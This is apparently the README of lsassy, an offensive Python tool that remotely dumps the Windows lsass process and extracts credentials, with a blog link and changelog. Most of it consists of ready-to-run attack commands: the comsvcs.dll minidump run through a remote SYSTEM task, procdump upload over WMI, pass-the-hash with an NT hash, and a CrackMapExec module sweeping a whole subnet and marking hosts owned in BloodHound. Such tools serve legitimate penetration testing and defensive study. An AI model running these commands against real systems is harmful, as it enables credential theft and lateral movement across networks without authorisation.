my-mr-e / lsassy

Extract credentials from lsass remotely

lsassy

Python library to remotely extract credentials.

Blog post : https://en.hackndo.com/remote-lsass-dump-passwords/

This library uses impacket projects to remotely read necessary bytes in lsass dump and pypykatz to extract credentials.

Chapters	Description
Requirements	Requirements to install lsassy from source
Basic Usage	Command line template for standalone version
Advanced Usage	Advanced usage (Dumping methods, execution methods, ...)
CrackMapExec Module	Link to CrackMapExec module included in this repository
Examples	Command line examples for standalone and CME module
Installation	Installation commands from pip or from source
Issues	Read this before creating an issue
Acknowledgments	Kudos to these people and tools

Requirements

• Python >= 3.6
• pypykatz >= 0.3.0
• impacket

Basic Usage

lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target>

Advanced

This tool can dump lsass in different ways.

comsvcs.dll method (Default)

This method only uses built-in Windows files to extract remote credentials. It uses minidump function from comsvcs.dll to dump lsass process. As this can only be done as SYSTEM, it creates a remote task as SYSTEM, runs it and then deletes it.

lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target>

Procdump method

This method uploads procdump.exe from SysInternals to dump lsass process. It will first try to execute procdump using WMI, and if it fails it will create a remote task, execute it and delete it.

lsassy [--hashes [LM:]NT] -p /path/to/procdump.exe [<domain>/]<user>[:<password>]@<target>

Remote parsing only

lsassy can parse an already dumped lsass process.

lsassy [--hashes [LM:]NT] --dumppath /share/path/to/dump.dmp [<domain>/]<user>[:<password>]@<target>

CrackMapExec module

I wrote a CrackMapExec module that uses lsassy to extract credentials on compromised hosts

CrackMapExec module is in cme folder : CME Module

Examples

lsassy

# RunDLL Method
lsassy adsec.local/jsnow:[email protected]

# Procdump Method
lsassy -p /tmp/procdump.exe adsec.local/jsnow:[email protected]

# Remote parsing only
lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/jsnow:[email protected]

# NT Hash Authentication
lsassy --hashes 952c28bd2fd728898411b301475009b7 [email protected]

CME Module

crackmapexec smb 10.0.0.0/24 -d adsec.local -u Administrator -p Passw0rd -M lsassy -o BLOODHOUND=True NEO4JPASS=bloodhound```

Installation

From pip

python3.7 -m pip install lsassy

From sources

python3.7 setup.py install

ChangeLog

v1.0.0
------
* Built-in lsass dump
** Lsass dump using built-in Windows
** Lsass dump using procdump (using -p parameter)
* Add --dumppath to ask for remote parsing only
* Code refactoring
* Add --quiet to quiet output

v0.2.0
------
* Add BloodHound option to CME module (-o BLOODHOUND=True)
    - Set compromised targets as "owned" in BloodHound
    - Check if compromised users have at least one path to domain admin
* Custom parsing (json, grep, pretty [default])
* New --hashes option to lsassy
* Include CME module in repository
* Add credentials to CME database


v0.1.0
------
First release

Issues

If you find an issue with this tool (that's very plausible !), please

• Check that you're using the latest version
• Send as much details as possible.
  • For standalone lsassy, please use the -d debug flag
  • For CME module, please use CrackMapExec --verbose flag

Acknowledgments

• Impacket
• SkelSec for Pypykatz, but also for his patience and help
• mpgn for his help and ideas